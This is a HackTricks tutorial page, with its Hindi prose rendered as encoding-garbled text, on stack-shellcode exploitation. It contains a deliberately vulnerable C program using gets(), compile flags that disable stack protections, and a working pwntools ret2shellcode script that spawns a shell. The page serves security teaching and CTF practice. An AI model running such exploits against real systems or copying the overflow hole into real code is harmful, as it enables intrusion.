# Stack Shellcode {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** ЁЯТм [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** ЁЯРж [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## Basic Information **Stack shellcode** рдПрдХ рддрдХрдиреАрдХ рд╣реИ рдЬреЛ **binary exploitation** рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рддреА рд╣реИ рдЬрд╣рд╛рдБ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдПрдХ рдХрдордЬреЛрд░ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЗ рд╕реНрдЯреИрдХ рдкрд░ рд╢реЗрд▓рдХреЛрдб рд▓рд┐рдЦрддрд╛ рд╣реИ рдФрд░ рдлрд┐рд░ **Instruction Pointer (IP)** рдпрд╛ **Extended Instruction Pointer (EIP)** рдХреЛ рдЗрд╕ рд╢реЗрд▓рдХреЛрдб рдХреЗ рд╕реНрдерд╛рди рдХреА рдУрд░ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддрд╛ рд╣реИред рдпрд╣ рдПрдХ рдХреНрд▓рд╛рд╕рд┐рдХ рд╡рд┐рдзрд┐ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдЕрдирдзрд┐рдХреГрдд рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдпрд╛ рд▓рдХреНрд╖рд┐рдд рдкреНрд░рдгрд╛рд▓реА рдкрд░ рдордирдорд╛рдиреЗ рдЖрджреЗрд╢ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣рд╛рдБ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд╛ рдПрдХ рд╡рд┐рд╡рд░рдг рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдПрдХ рд╕рд░рд▓ C рдЙрджрд╛рд╣рд░рдг рдФрд░ рдпрд╣ рдХреИрд╕реЗ рдЖрдк **pwntools** рдХреЗ рд╕рд╛рде рдПрдХ рд╕рдВрдмрдВрдзрд┐рдд рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВред ### C Example: A Vulnerable Program рдЪрд▓реЛ рдПрдХ рдХрдордЬреЛрд░ C рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЗ рд╕рд░рд▓ рдЙрджрд╛рд╣рд░рдг рд╕реЗ рд╢реБрд░реВ рдХрд░рддреЗ рд╣реИрдВ: ```c #include #include void vulnerable_function() { char buffer[64]; gets(buffer); // Unsafe function that does not check for buffer overflow } int main() { vulnerable_function(); printf("Returned safely\n"); return 0; } ``` рдпрд╣ рдкреНрд░реЛрдЧреНрд░рд╛рдо `gets()` рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЗ рдХрд╛рд░рдг рдмрдлрд╝рд░ рдУрд╡рд░рдлрд╝реНрд▓реЛ рдХреЗ рд▓рд┐рдП рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИред ### рд╕рдВрдХрд▓рди рдЗрд╕ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛ рд╕рдВрдХрд▓рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрдмрдХрд┐ рд╡рд┐рднрд┐рдиреНрди рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдпреЛрдВ рдХреЛ рдирд┐рд╖реНрдХреНрд░рд┐рдп рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ (рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╡рд╛рддрд╛рд╡рд░рдг рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП), рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` * `-fno-stack-protector`: рд╕реНрдЯреИрдХ рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдЕрдХреНрд╖рдо рдХрд░рддрд╛ рд╣реИред * `-z execstack`: рд╕реНрдЯреИрдХ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдмрдирд╛рддрд╛ рд╣реИ, рдЬреЛ рд╕реНрдЯреИрдХ рдкрд░ рд╕рдВрдЧреНрд░рд╣реАрдд рд╢реЗрд▓рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИред * `-no-pie`: рдкреЛрдЬреАрд╢рди рдЗрдВрдбрд┐рдкреЗрдВрдбреЗрдВрдЯ рдПрдХреНрд╕реАрдХреНрдпреВрдЯреЗрдмрд▓ рдХреЛ рдЕрдХреНрд╖рдо рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛рдирд╛ рдЖрд╕рд╛рди рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рд╣рдорд╛рд░рд╛ рд╢реЗрд▓рдХреЛрдб рдХрд╣рд╛рдБ рд╕реНрдерд┐рдд рд╣реЛрдЧрд╛ред * `-m32`: рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛ 32-рдмрд┐рдЯ рдПрдХреНрд╕реАрдХреНрдпреВрдЯреЗрдмрд▓ рдХреЗ рд░реВрдк рдореЗрдВ рд╕рдВрдХрд▓рд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдЕрдХреНрд╕рд░ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рд╡рд┐рдХрд╛рд╕ рдореЗрдВ рд╕рд░рд▓рддрд╛ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред ### Python Exploit using Pwntools рдпрд╣рд╛рдБ рдмрддрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдЖрдк **pwntools** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **ret2shellcode** рд╣рдорд▓реЗ рдХреЗ рд▓рд┐рдП Python рдореЗрдВ рдПрдХ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХреИрд╕реЗ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ: ```python from pwn import * # Set up the process and context binary_path = './vulnerable' p = process(binary_path) context.binary = binary_path context.arch = 'i386' # Specify the architecture # Generate the shellcode shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell # Find the offset to EIP offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash # Prepare the payload # The NOP slide helps to ensure that the execution flow hits the shellcode. nop_slide = asm('nop') * (offset - len(shellcode)) payload = nop_slide + shellcode payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide # Send the payload p.sendline(payload) p.interactive() ``` рдпрд╣ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдПрдХ рдкреЗрд▓реЛрдб рдмрдирд╛рддреА рд╣реИ рдЬрд┐рд╕рдореЗрдВ **NOP рд╕реНрд▓рд╛рдЗрдб**, **рд╢реЗрд▓рдХреЛрдб** рд╢рд╛рдорд┐рд▓ рд╣реЛрддрд╛ рд╣реИ, рдФрд░ рдлрд┐рд░ **EIP** рдХреЛ NOP рд╕реНрд▓рд╛рдЗрдб рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдкрддреЗ рд╕реЗ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рддреА рд╣реИ, рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддреЗ рд╣реБрдП рдХрд┐ рд╢реЗрд▓рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛ рдЬрд╛рдПред **NOP рд╕реНрд▓рд╛рдЗрдб** (`asm('nop')`) рдХрд╛ рдЙрдкрдпреЛрдЧ рдЗрд╕ рд╕рдВрднрд╛рд╡рдирд╛ рдХреЛ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рдирд┐рд╖реНрдкрд╛рджрди рд╣рдорд╛рд░реЗ рд╢реЗрд▓рдХреЛрдб рдореЗрдВ "рд╕реНрд▓рд╛рдЗрдб" рдХрд░реЗрдЧрд╛ рдЪрд╛рд╣реЗ рд╕рдЯреАрдХ рдкрддрд╛ рдХреБрдЫ рднреА рд╣реЛред рдЕрдкрдиреЗ рдмрдлрд░ рдХреЗ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдкрддреЗ рдХреЗ рд▓рд┐рдП `p32()` рддрд░реНрдХ рдХреЛ рд╕рдорд╛рдпреЛрдЬрд┐рдд рдХрд░реЗрдВ рдФрд░ NOP рд╕реНрд▓рд╛рдЗрдб рдореЗрдВ рдкрд╣реБрдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдСрдлрд╕реЗрдЯ рдЬреЛрдбрд╝реЗрдВред ## рд╕реБрд░рдХреНрд╖рд╛ * [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **рдХреЛ рдмрдВрдж рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП** рддрд╛рдХрд┐ рдкрддрд╛ рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рджреМрд░рд╛рди рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд╣реЛ рдпрд╛ рдЬрд┐рд╕ рдкрддреЗ рдкрд░ рдлрд╝рдВрдХреНрд╢рди рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрдЧрд╛ рд╡рд╣ рд╣рдореЗрд╢рд╛ рдПрдХ рдЬреИрд╕рд╛ рдирд╣реАрдВ рд╣реЛрдЧрд╛ рдФрд░ рдЖрдкрдХреЛ рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рд▓реАрдХ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА рдХрд┐ рдЬреАрдд рдлрд╝рдВрдХреНрд╢рди рдХрд╣рд╛рдБ рд▓реЛрдб рд╣реБрдЖ рд╣реИред * [**рд╕реНрдЯреИрдХ рдХреИрдирд░реАрдЬрд╝**](../../common-binary-protections-and-bypasses/stack-canaries/) рдХреЛ рднреА рдмрдВрдж рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП рдпрд╛ рд╕рдордЭреМрддрд╛ рдХрд┐рдпрд╛ рдЧрдпрд╛ EIP рд░рд┐рдЯрд░реНрди рдкрддрд╛ рдХрднреА рдирд╣реАрдВ рдлреЙрд▓реЛ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред * [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **рд╕реНрдЯреИрдХ** рд╕реБрд░рдХреНрд╖рд╛ рд╢реЗрд▓рдХреЛрдб рдХреЗ рд╕реНрдЯреИрдХ рдХреЗ рдЕрдВрджрд░ рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рд░реЛрдХ рджреЗрдЧреА рдХреНрдпреЛрдВрдХрд┐ рд╡рд╣ рдХреНрд╖реЗрддреНрд░ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдирд╣реАрдВ рд╣реЛрдЧрд╛ред ## рдЕрдиреНрдп рдЙрджрд╛рд╣рд░рдг рдФрд░ рд╕рдВрджрд░реНрдн * [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) * [https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html) * 64рдмрд┐рдЯ, ASLR рдХреЗ рд╕рд╛рде рд╕реНрдЯреИрдХ рдкрддрд╛ рд▓реАрдХ, рд╢реЗрд▓рдХреЛрдб рд▓рд┐рдЦреЗрдВ рдФрд░ рдЙрд╕ рдкрд░ рдХреВрджреЗрдВ * [https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html) * 32 рдмрд┐рдЯ, ASLR рдХреЗ рд╕рд╛рде рд╕реНрдЯреИрдХ рд▓реАрдХ, рд╢реЗрд▓рдХреЛрдб рд▓рд┐рдЦреЗрдВ рдФрд░ рдЙрд╕ рдкрд░ рдХреВрджреЗрдВ * [https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html) * 32 рдмрд┐рдЯ, ASLR рдХреЗ рд╕рд╛рде рд╕реНрдЯреИрдХ рд▓реАрдХ, exit() рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рддреБрд▓рдирд╛, рдПрдХ рдорд╛рди рдХреЗ рд╕рд╛рде рд╡реЗрд░рд┐рдПрдмрд▓ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░реЗрдВ рдФрд░ рд╢реЗрд▓рдХреЛрдб рд▓рд┐рдЦреЗрдВ рдФрд░ рдЙрд╕ рдкрд░ рдХреВрджреЗрдВ * [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) * arm64, рдХреЛрдИ ASLR рдирд╣реАрдВ, рд╕реНрдЯреИрдХ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП ROP рдЧреИрдЬреЗрдЯ рдФрд░ рд╕реНрдЯреИрдХ рдореЗрдВ рд╢реЗрд▓рдХреЛрдб рдкрд░ рдХреВрджреЗрдВ {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** ЁЯТм [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** ЁЯРж [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}